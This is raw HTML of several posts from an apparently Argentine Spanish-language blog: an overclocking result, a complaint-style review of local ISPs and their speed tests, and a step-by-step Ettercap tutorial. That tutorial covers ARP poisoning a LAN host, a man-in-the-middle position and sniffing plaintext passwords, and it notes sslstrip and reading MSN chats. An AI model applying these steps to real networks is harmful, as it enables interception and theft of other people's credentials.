-webkit-text-decorations-in-effect: underline; "><img src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TCqEBasiMuI/AAAAAAAAAKU/TYfEfEuyCww/s320/beforewin.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5488344255785218786" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 239px; " /></span></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "></span><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TCqEA5XmRwI/AAAAAAAAAKM/wdv15ydDQrQ/s320/beforecpuz.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5488344246839035650" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 309px; " /></span></div><div><div style="text-align: left;"><span class="Apple-style-span" style="color:#0000EE;"><br /></span></div><div style="text-align: left;"><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">DESPUES</span></span></b></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><img src="http://2.bp.blogspot.com/_rgCsrVyHiHw/TCqFWeV0xmI/AAAAAAAAAK0/_K4_o9WWbOI/s320/afterwin.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5488345717052589666" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 239px; " /></span></div><div><span class="Apple-style-span" style="color: rgb(0, 0, 238); -webkit-text-decorations-in-effect: underline; "><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; "><img src="http://4.bp.blogspot.com/_rgCsrVyHiHw/TCqGYR1-SrI/AAAAAAAAALM/AhtT_OGAgFQ/s320/aftercpuz.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5488346847569136306" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 310px; " /></span></span></div><div style="text-align: left;"><br /></div><div style="text-align: justify;">no c fijen en las velocidades y el multiplicador, esta activado cool&amp;quiet como c puede ver x las diferencias d voltaje y eso hace q cambien segun el requerimiento del sistema.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">ahhh.... y 1 vez mas, gracias amd!! ;) </div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-2578069269379556076?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-88108137242899077022010-06-06T13:42:00.007-03:002010-06-06T15:17:46.425-03:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i47.tinypic.com/96zrsp.jpg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 319px; height: 282px;" src="http://i47.tinypic.com/96zrsp.jpg" border="0" alt="" /></a><div style="text-align: justify;">es 1 realidad no solo en argentina sino en la mayoria d los paises q los proveedores d internet, a los cuales llamaremos ISP (Internet Service Provider) d ahora en adelante, no dan el servicio d deberian. a mucha gente no le importa lo mas minimo mientras puedan usar el msn y no tarden mucho en subir sus fotos a facebook, tal vez el problema mayor empieza cuando c cuelgan los videos d youtube... je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo cierto es q la velocidad casi nunca es la q deberia ser (sobre todo en horarios pico) y q si pagamos x 1 servicio eso es lo q deberiamos recibir exactamente, mas alla d q el msn funcione o no. tambien estan los problemas d cortes d servicio, desconexiones, mala calidad, etc, pero eso ya es otra historia.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">solamente voy a hablar d los 3 isp del titulo xq son los q tuve mas experiencia directa, los demas tienen sus cosas tambien pero no voy a hablar x boca d 3eros sino x experiencia propia. podria agregar a telmex, pero solo conozco los servicios corporativos. como comentario, no funciona mal, pero los dias d tormenta olvidense d la conexion...</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Precios</span></span></b><br /><br /><div style="text-align: justify;">los precios obviamente estan infladisimos, piden cerca d 140 o 150$ argentinos (casi 40usd) x una conexion d 3mbps. eso x supuesto "sin promocion" o "despues d terminada la misma". Todos los ISP dan promociones x 6 meses a mitad d precio y despues empiezan a cobrar el monto total.</div><div style="text-align: justify;"><br /></div><img style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 320px; height: 240px; " src="http://i50.tinypic.com/nxqm9w.jpg" border="0" alt="" /><div style="text-align: justify;">la mayoria sabemos (o quiero pensar q la mayoria) q si estamos en una zona donde podemos elegir, simplemente aceptamos la promocion y en el ultimo mes pedimos la baja, con lo cual nos llama atentamente nuestro ISP unos dias antes d finalizar y nos ofrece una nueva promo, tal vez mas jugosa q la anterior. garantizo q lo hacen, sino saben q lo unico q tenemos q hacer es cambiar d proveedor x 6 meses y despues volver con otra promo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">al darse cuenta d la situacion simplemente la extienden. en fiber es automatico despues d 1 par d veces d amenazar con la baja, directamente al finalizar extienden la promo x 6 meses o 1 año. pero si nadie dice nada ni amenaza con irse x supuesto q pasan a cobrar el precio full.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">x ej en fibertel estuve pagando durante casi 2 años la mitad del precio (unos 60$), cuando hace unas semanas pedi la baja x enesima vez (pero ahora d verdad) me llegaron a ofrecer cable mas 3mbps a 150$ final. asumiendo q el cable cuesta unos 120$, la conexion d 3mbps me la estarian cobrando 30$??? xD</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Velocidad</span></span></b><br /><br /><div style="text-align: justify;">el tema d la velocidad varia en cuanto a zonas pero aun pudiendo tener una buena conexion por nuestra situacion geografica, es posible llegar a tener una malisima si no la checkeamos. cuando fiber subio la velocidad d 1 a 3mbps funcionaba peor q antes. esa fue una d mis 1eras peleas con ellos q termino en 1 año a 50$.</div><div style="text-align: justify;"><br /></div><img style="text-align: justify;float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 316px; height: 320px; " src="http://i50.tinypic.com/2rde00j.jpg" border="0" alt="" /><div style="text-align: justify;">este problema es mucho mas dificil d solucionar q el del dinero ya q para la mayoria d los "mortales" es 1 misterio como funciona internet y como saber cuanta velocidad tiene y cuanta deberia tener, y x supuesto los isp tratan d mantener este "misterio" todo lo q pueden hablando a los "profanos" con terminos q dan risa sobre problemas q dan todavia mas. la placa d red, virus, el cableado, rayos cosmicos... cualquier causa es buena para confundir al usuario y q no moleste mas x un rato.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ojo... esto no quiere decir q estos problemas no puedan existir (salvo x los rayos cosmicos), pero el 99% d las veces el problema es d ellos.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">tenemos 2 tipos d conexiones diferentes entre estos proveedores, speedy es adsl y fiber y telecentro cable, el adsl corre x la linea telefonica y el cable como es obvio x la red q le corresponde. la gran diferencia entre estos 2 servicios es q el adsl tiene una conexion punto a punto hacia la central y el cable no, el cable conecta x sectores a un nodo en comun, lo q hace q si hay muchas maquinas conectadas a s nodo c sature, como pasa en muchos lugares en el caso d telecentro, q es donde mas se puede apreciar el problema.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en este caso tenemos q lograr 1ero la velocidad prometida dentro del nodo para tener una remota posibilidad d tenerla despues hacia internet, si no la tenemos c crea el tipico "cuello d botella". todo esto c puede medir, c puede reclamar y llegado el punto c puede denunciar... o cuando menos usar para q nos arreglen el servicio o nos den algun "beneficio extra" en pago x las molestias.</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Speedy</span></span></b><br /><br /><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 319px; height: 216px;" src="http://i48.tinypic.com/2cq1zde.jpg" border="0" alt="" /><div style="text-align: justify;">Personalmente con speedy fue con los q menos problemas tuve, tal vez xq fue d los 1eros y xq tenia conocidos en la empresa... je. El problema mayormente es el soporte, cuando funciona bien x lo gral queda asi y todo oka, el tema es lograr q alguien nos atienda si tenemos problemas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">speedy es d telefonica, telefonica ya todos sabemos lo burocratica q puede llegar a ser, llegue a hacerles denuncia en la CNC (Comision Nacional de Comunicaciones) para q muden mi linea d telefono a 2 cuadras d distancia despues d 7 meses!?!?...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">con speedy es mas o menos lo mismo, si les funciona bien... recen para q siga asi y si no tienen otro proveedor en su zona... recen para q aunque sea funcione. speedy llega a muchos lugares donde no llega otro proveedor y esos usuarios son los q tienen los peores problemas, tipico d cualquier monopolio.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">speedy nos proporciona 1 test d velocidad en su pagina, no es confiable pero es el 1er paso al hacer 1 reclamo, la "boca d la botella", si la conexion en s test no mide lo q tiene q medir nunca lo va a hacer contra 1 server real cuando quieran bajar algo.</div><br />si tienen speedy pueden checkear el 1er tramo d su conexion aca:<br /><br />www.speedy.com.ar/medidor-de-velocidad/<br /><br />mas adelante 1 test confiable para todos...<br /><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Fibertel</span></span></b><br /><br /><div style="text-align: justify;">Con fibertel es mas o menos lo mismo, si haces q funcione bien no tenes mas problemas, pero para eso tenes q hacer 200 reclamos, anotarte todos los numeritos, pedir la baja y recien ahi t va a llamar alguien ofreciendo lo q quieras.</div><div style="text-align: justify;"><br /></div><img style="text-align: justify;float: left; margin-top: 0px; margin-right: 10px; margin-bottom: 10px; margin-left: 0px; cursor: pointer; width: 303px; height: 205px; " src="http://i47.tinypic.com/8xqz9l.jpg" border="0" alt="" /><div style="text-align: justify;">los del soporte no entienden nada la mayoria (como d costumbre), creo q hable con casi todos. a uno c le escapo una d las 1eras veces q llame la pagina d testeo, digo "c le escapo" xq despues extrañamente nadie me "invitaba" a hacer 1 test d velocidad, entonces les decia q "en una llamada anterior me pasaron esta pagina" y al mostrarles los resultados no podian inventar mucho.</div><br />la web para checkear la velocidad de fiber es esta:<br /><br />http://sps.fibertel.com.ar/<br /><br />si vamos a:<br /><br />pruebas d velocidad -> download<br /><br /><div style="text-align: justify;">encontramos 2 tipos d descargas, nacional e internacional. esto es muy bueno xq podemos mediante su propio test checkear tanto en servidores propios d fibertel como en servidores externos. x lo gral la descarga nacional es perfecta y el problema esta con la internacional, a pesar d ser cable fiber tiene mejor estructura q telecentro y no hay tanta saturacion en los nodos, igualmente 1ero es bueno checkear la nacional.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la internacional va cambiando periodicamente, pero x lo gral no tengo quejas, son servers normales d internet desde donde tranquilamente c podria estar descargando algo. en este momento la descarga 3 es 1 rpm del wireshark xD... andaran en cosas raras estos chicos? je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si la descarga no va a la velocidad q deberia o cerca, llamen, pidan 1 num d caso d soporte y anotenlos todos.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">otro tema q daria mucho para hablar sobre fiber es el conocido blockeo d puertos. muchas cosas estan blockeadas, no llegue nunca a saber cuantas exactamente pero son bastantes. para un user normal no tiene mucha importancia, para uno avanzado puede llegar a traer bastantes problemas y en todo caso me parece una invasion a la conexion.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">si yo quiero tener una casa con 3 puertas y viene el estado y me pone pared en 2 diciendo q necesito 1 sola y q asi es mas seguro... deberia dejar q lo haga? o deberia encargarme yo d decidir cuantas puertas quiero? ademas... no deberian x lo menos avisarme q estan clausurando mis puertas?</div><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Telecentro</span></span></b><br /><br /><div style="text-align: justify;">telecentro... telecentro... si, cai en la trampa d telecentro, como dije antes estoy en 1 zona con muchos isp y me gusta probar. cable digital, internet 3mbps y telefonia ip a 160$... barato no? xD</div><div style="text-align: justify;"><br /></div><img style="text-align: justify;float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 319px; height: 215px; " src="http://i49.tinypic.com/1z3ngb7.png" border="0" alt="" /><div style="text-align: justify;">con la telefonia no tenia muchas esperanzas, c corta todo el tiempo, da ocupado, si le pongo el inalambrico hace 1 ruido terrible y no es el trafo, ni la linea d corriente, ni el cable, ni "ponele 1 filtro d rf", ni nada q c pueda calificar d "normal". el soporte dice "sr, es el telefono obviamente" a lo cual respondo "en este momento t hablo desde s telefono pero desde 1 linea tradicional y funciona perfecto"... silencio... me recomienda poner otro filtro... cruzamos un par d frases forzadas y le corto.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">el dia d la instalacion cuando ponen el modem checkeo velocidad contra telecentro, todo ok, contra 1 servidor en usa, todo ok, europa, todo oka, firmo contento y creo q esta todo bien... gran error.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">ya venia el fin d semana y no tuve mucha oportunidad d usar la conexion, a la semana siguiente x la tarde me parecio notarla lenta, checkeo y no llegaba al mega. al principio crei q me habian cambiado a 1mbps, despues me di cuenta q era problema d saturacion cuando c libero despues d las 12 d la noche.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">la mayoria d los isps ante 1 problema asi alegan cualquier cosa (como rayos cosmicos) pero telecentro tiene el descaro d hacerse cargo, ante 1 correo al sopote (cansado d esperar q me atiendan x tel) con capturas d pantalla d las mediciones y 1 completa descripcion del problema me respondieron lo siguiente:</div><br /><i><span class="Apple-style-span" style="color:#9999FF;">Estimado Sr.<br /> Le informamos que gracias a su reclamo, y sumados a otros, se están preparando tareas abocándose al desperfecto que provoca fluctuación del ancho de banda en determinadas franjas horarias. Pedimos disculpas por el inconveniente. Esta información fue sacada gracias al RA XXXXXX.<br />Desde ya, muchas gracias.<br />Buenas días.<br /><br /><br />Departamento de Soporte Técnico<br />Telecentro S.A.<br />soporte@telecentro.net.ar<br />www.telecentro.com.ar<br />6380-9500</span></i><br /><br />o sea... traducido:<br /><br /><i><span class="Apple-style-span" style="color:#9999FF;">Estimado Estafado.<br /><br />Le informamos q su conexion nunca va a funcionar a lo q ud paga dado q no tenemos la estructura necesaria para el numero d clientes q poseemos. Seguiremos sumando clientes para tratar d pagar una estructura q cada vez queda mas chica.<br />Buenas? dias.</span></i><br /><br /><div style="text-align: justify;">para q venden conexiones q no pueden dar?... en fin, veremos si c puede sacar algo d esto y sino... a cambiar d vuelta.</div><br />la pagina de telecentro para hacer test d velocidad es:<br /><br />http://velocidad.telecentro.net.ar/<br /><br />ahhh... el cable c v impecable, mucho mejor q cablevision y mas canales xD<br /><br /><br /><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Test de velocidad fiable</span></span></b><br /><br /><div style="text-align: justify;">Los tests d velocidad d las paginas no son fiables xq no miden la velocidad en condiciones reales, el de telecentro es una mentira q jamas sale siquiera a internet, solo mide la velocidad dentro d su propia red... y aun asi no mide lo q deberia. esta sacado d la pagina q pongo a continuacion donde tienen 1 server propio. no digo q es 1 mentira x la medicion en si sino x las condiciones en q c hace.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">para tener 1 medicion real tenemos q checkear contra servidores internacionales q es donde navegamos generalmente y d donde bajamos cosas o vemos videos. para hacer 1 medicion real vamos a esta pagina:</div><br />http://www.speedtest.net/<br /><br /><div style="text-align: justify;">este es mi resultado en telecentro 1 sabado a la tarde... y dio bastante bien (ni comento el ping d 158ms en mi propia red...):</div><p><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 135px;" src="http://www.speedtest.net/result/837795062.png" border="0" alt="" /></p><div style="text-align: justify;">con esta conexion, baje d donde sea no voy a pasar los 2.1mbps en el mejor d los casos. la velocidad a miami.fl, usa x ej:</div><p><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 135px;" src="http://www.speedtest.net/result/837797983.png" border="0" alt="" /></p>y a 1 server en leipzig, deutschland:<br /><p><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 135px;" src="http://www.speedtest.net/result/837799254.png" border="0" alt="" /></p><p style="text-align: justify;">bastante lejos d lo prometido no? para hacer el test simplemente tienen q pinchar en uno d los servers y esperar q la pagina haga el resto. </p><p><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 235px;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/TAvSsWjURdI/AAAAAAAAAKE/HQa49mK54NE/s320/speedtest.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5479705031036126674" /></p><div style="text-align: justify;">al terminar provee d 1 link en la parte inferior junto con los resultados, haciendo click en "copy direct link" c carga en el portapapeles. este link es aceptado como un test valido para gran cantidad d instituciones a nivel internacional y es muy fiable.</div><p></p><p><br /></p><b><span class="Apple-style-span" style="font-size:large;"><span class="Apple-style-span" style="color:#FFFF00;">Conclusion</span></span></b><br /><br /><div style="text-align: justify;">todos los isps van a tratar d darles lo minimo posible, lo ideal es checkear q este todo ok y en caso d q no reclamar 1ero a ellos, si no solucionan el problema directamente a la CNC. en una entrada anterior hay algo d info d donde y como hacer la denuncia y les aseguro q da resultados, pueden verla aca:</div><p style="text-align: center;"><a href="http://locvtvs.blogspot.com/2008/09/ocutus-vs-samsung-y-ocutus-vs.html">|_ocutus&amp;CNDC vs Samsung y |_ocutus&amp;CNC vs Telefonica</a></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-8810813724289907702?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com11tag:blogger.com,1999:blog-3031385326498684086.post-52244874286880946852010-05-16T20:24:00.025-03:002010-05-17T18:38:24.959-03:00<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img200.imageshack.us/img200/6660/hackergk.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 309px; height: 320px;" src="http://img200.imageshack.us/img200/6660/hackergk.jpg" alt="" border="0" /></a>habia prometido hace unos meses 1 articulo sobre arp poisoning en la practica (<a href="http://locvtvs.blogspot.com/2009/03/arp-poisoning.html">ARP Poisoning</a>), esto x supuesto llevo a agregar algo d sniffing y el sniffing a otras cosas asi q decidi dividirlo en varias entradas para mantener el orden y no hacerlo tan largo.<br /><br />c recomienda leer el articulo anterior para tener idea d lo q estan haciendo y d esa forma poder desarrollar otro tipo d tecnicas asi como tener la posibilidad d usar cualquier soft q quieran ya q sabiendo el proceso c puede hacer d muchas maneras distintas.<br /><br />este metodo es aplicable en cualquier red lan, no importa si tiene 2 o 2000 maquinas, no importa si son win o linux, si es cableada o wifi, si usan firefox, ie, opera o lo q sea... no importa casi nada, salvo q tengamos nuestra maquina conectada a la red.<br /></div><br /><br /><span style="font-weight: bold; color: rgb(255, 255, 0);">packet sniffing</span><br /><br /><div style="text-align: justify;">tambien llamado packet analysis es el proceso de capturar trafico de la red y analizarlo. aunque normalmente es asociado con actividades "hacker" el analisis d paquetes es una herramienta valiosisima para cualquier admin d redes, util para diagnosticar problemas q haya en la misma, asi como tambien detectar cualquier tipo d ataque, anomalia o hasta algun user q consume demasiado trafico... ;)<br /><br />el trafico de red, como todos sabemos (o deberiamos saber si queremos hacer estas cosas), se divide en paquetes q cumplen distintas funciones. en la entrada anterior hablamos de los paquetes arp pero hay muchas otras clases. como seria 1 tema muy extenso (tal vez 1 futura entrada en el blog) dejo una animacion muuuyyy facil d entender para los q no tienen idea. la mayoria es aplicable, salvo algunas cosas en desuso como el viejo "ping d la muerte"...<br /></div><br /><p style="text-align: center;"><object width="443" height="290" class="BLOG_video_class" id="BLOG_video-6dc10802a722f533" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="movie" value="http://www.youtube.com/get_player"><param name="bgcolor" value="#FFFFFF"><param name="allowfullscreen" value="true"><param name="flashvars" value="flvurl=http://v6.nonxt5.googlevideo.com/videoplayback?id%3D6dc10802a722f533%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330365226%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D64A275B588975E94D2D7485A5B0986803961B8E0.5FABE7143DAF9D705BDF4FDC6AAD7ECBBAA049E3%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D6dc10802a722f533%26offsetms%3D5000%26itag%3Dw160%26sigh%3DTQC4BN_z5j1kph84E8BHEid-7SU&amp;autoplay=0&amp;ps=blogger"><embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="443" height="290" bgcolor="#FFFFFF"flashvars="flvurl=http://v6.nonxt5.googlevideo.com/videoplayback?id%3D6dc10802a722f533%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330365226%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D64A275B588975E94D2D7485A5B0986803961B8E0.5FABE7143DAF9D705BDF4FDC6AAD7ECBBAA049E3%26key%3Dck1&iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D6dc10802a722f533%26offsetms%3D5000%26itag%3Dw160%26sigh%3DTQC4BN_z5j1kph84E8BHEid-7SU&autoplay=0&ps=blogger"allowFullScreen="true" /></object></p><p></p><p align="center"></p><div style="text-align: justify;">entonces todo lo q tenemos q hacer es usar 1 sniffer para capturar s trafico y ver lo q nos interesa. con la tecnica del arp poisoning vimos q podemos engañar a 1 maquina para q crea q nosotros somos el router y al router para q crea q somos esa maquina, d esta forma nos "paramos" entre medio d las dos y realizamos el ataque llamado Man In The Middle (MITM). pero antes algunas aclaraciones.<br /></div><br /><br /><span style="font-weight: bold; color: rgb(255, 255, 0);">verdades y mitos</span><br /><p style="text-align: justify;"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 204px;" src="http://img299.imageshack.us/img299/5599/howlongittakestohackpas.jpg" alt="" border="0" />la red esta llena d personitas preguntando "como hackear passwords de hotmail" y lleno d otras tantas q ponen tutos en los q hacen 1 simple envenenamiento y activan el sniffer mostrando resultados con passwords d hotmail, gmail, yahoo, etc. lo cierto es q c puede hacer, pero no es tan facil y se requiere hacer alguna cosa mas.<br /></p><div style="text-align: justify;">las passwords no c transmiten todas del mismo modo, no es lo mismo el login d 1 ftp q el d hotmail x ej donde entra en juego encriptacion ssl, intercambio d certificados, etc., para ver s tipo d contraseñas necesitamos hacer algun paso adicional.<br /><br />hasta no hace mucho la tecnica acostumbrada era enviar al navegador 1 certificado falso, el cual muestra el tipico mensaje d q el certificado no es valido. como el 90% (si no mas) d los users simplemente lo aceptan y siguen su camino c podria decir q tiene bastante efectividad...<br /><br />sin embargo el año pasado c presento en el black hat dc 2009 la tecnica llamada sslstrip. lo q hace basicamente es reescribir todos los links https a http, despues reconstruye las urls con 1 certificado valido y redirige la conexion hacia su destino original despues d quedarse con los datos... sin alertas, sin llamar la atencion d nadie... perfecto xD<br /></div><br /><br /><span style="font-weight: bold; color: rgb(255, 255, 0);">sniffing/poisoning basico</span><br /><br /><div style="text-align: justify;">como dije q era practica dejo las explicaciones d lado y vamos a ver el tipico tuto d ettercap (sin errores ni omisiones) q sirve para capturar passwords en texto plano. esto es ftp, telnet, foros e infinidad d paginas, sitios e intranets q no usan encriptacion en los logins.<br /><br />hay versiones d ettercap tanto para win como para linux, obviamente c recomienda linux para este tipo d "actividades". la instalacion del programa no tiene demasiadas complicaciones. para win c puede descargar d aca (la version q dice win32.exe):<br /></div><br />http://sourceforge.net/projects/ettercap/files/<br /><br />en linux desde el gestor d paquetes o:<br /><br />http://ettercap.sourceforge.net/download.php<br /><br /><div style="text-align: justify;">en win abre directamente en modo grafico en linux desde la consola en modo root (o con sudo) ejecutar "ettercap -G".<br /><br />c abre la ventana del programa, seleccionamos el menu SNIFF -> UNIFIED SNIFFING...<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://4.bp.blogspot.com/_rgCsrVyHiHw/S_CSCGS1o0I/AAAAAAAAAI8/CKlooxzhKqw/s320/etter01.jpg" alt="" id="BLOGGER_PHOTO_ID_5472034112002171714" border="0" /></p><div style="text-align: justify;">se abre la ventana d seleccion del dispositivo d entrada, en mi caso ath0, si estuviera en red cableada seria el eth0... simplemente seleccionen su dispositivo conectado a la red.<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/S_CSfFY_93I/AAAAAAAAAJE/sVIXc9o5lCQ/s320/etter02.jpg" alt="" id="BLOGGER_PHOTO_ID_5472034609975785330" border="0" /></p><div style="text-align: justify;">cambia el menu superior, seleccionamos HOSTS -> SCAN FOR HOSTS...<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 247px;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/S_CS2dEDNLI/AAAAAAAAAJM/5Wv8NW61IRk/s320/etter03.jpg" alt="" id="BLOGGER_PHOTO_ID_5472035011467359410" border="0" /></p><div style="text-align: justify;">esto corre 1 scanneo en la red para ver q hay conectado...<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 282px;" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/S_CTJSshHTI/AAAAAAAAAJU/6bsH8NLbglo/s320/etter04.jpg" alt="" id="BLOGGER_PHOTO_ID_5472035335101816114" border="0" /></p><div style="text-align: justify;">hacemos click en HOSTS -> HOSTS LIST en este caso salen 3 ips. 2 son pcs conectadas a la red y la 3era el router. lo q tenemos q saber es cual es la ip del router y la de la pc a envenenar.<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/S_CayfTx8RI/AAAAAAAAAJc/kG_kvOsWGvs/s320/etter05.jpg" alt="" id="BLOGGER_PHOTO_ID_5472043739443753234" border="0" /></p><div style="text-align: justify;">para saber cual es el router en windows hacemos 1 ipconfig desde la consola y la ultima linea (gateway o "puerta d enlace predeterminada") es la ip del router.<br /><br />en linux, desde la consola "ip route show" y sale tambien en la ultima linea (default via).<br /><br />la maquina a envenenar ya deberian saberla o averiguarla, para eso c puede usar 1 scanner o simples ping -a en win para saber el nombre, nbtstat, etc. mmblookup, dig o lo q sea en linux.<br /><br />en este caso el router es el 192.168.0.254 y la pc a envenenar la 192.168.0.101. seleccionamos la 254 y hacemos click en "add to target 1", despues seleccionamos la 101 y hacemos click en "add to target 2". en la consola inferior del programa se ve el log con los cambios que vamos haciendo.<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 243px;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/S_Ca_fHa9UI/AAAAAAAAAJk/whm7j6bG_Ys/s320/etter06.jpg" alt="" id="BLOGGER_PHOTO_ID_5472043962730214722" border="0" /></p><div style="text-align: justify;">seleccionamos el menu MITM -> ARP POISONING y en la ventana q sale checkeamos "SNIFF REMOTE CONNECTIONS" y aceptar.<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/S_CbOKJbf-I/AAAAAAAAAJs/FEgHh3t-PDs/s320/etter07.jpg" alt="" id="BLOGGER_PHOTO_ID_5472044214799532002" border="0" /></p><div style="text-align: justify;">ya esta corriendo el envenenamiento, d manera q todo el trafico entre 101 y 254 pasa por nosotros, ahora queda activar el sniffer para capturar. menu START -> START SNIFFING<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 244px;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/S_CbYRT2rxI/AAAAAAAAAJ0/AlI85-d0gqs/s320/etter08.jpg" alt="" id="BLOGGER_PHOTO_ID_5472044388520996626" border="0" /></p><div style="text-align: justify;">solo queda esperar a q alguien meta 1 password para q salga en la parte inferior.<br /></div><p><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 246px;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/S_Cbjda2tiI/AAAAAAAAAJ8/j4oTz7g-OI8/s320/etter09.jpg" alt="" id="BLOGGER_PHOTO_ID_5472044580750145058" border="0" /></p><div style="text-align: justify;">este metodo como dije solo sirve para contraseñas de texto plano, en la proxima entrada voy a poner el uso practico de certificados falsos y d sslstrip combinados con esto.<br /></div><p style="text-align: justify;">ahhh... las conversaciones d msn viajan en texto plano x si a alguien le interesa, activando ettercap junto con wireshark c pueden ver... tal vez lo explique con mas detalle tambien en el futuro pero no c si vale la pena 1 entrada... es bastante facil agregandolo a lo anterior ;)<br /></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5224487428688094685?l=locvtvs.blogspot.com' alt='' 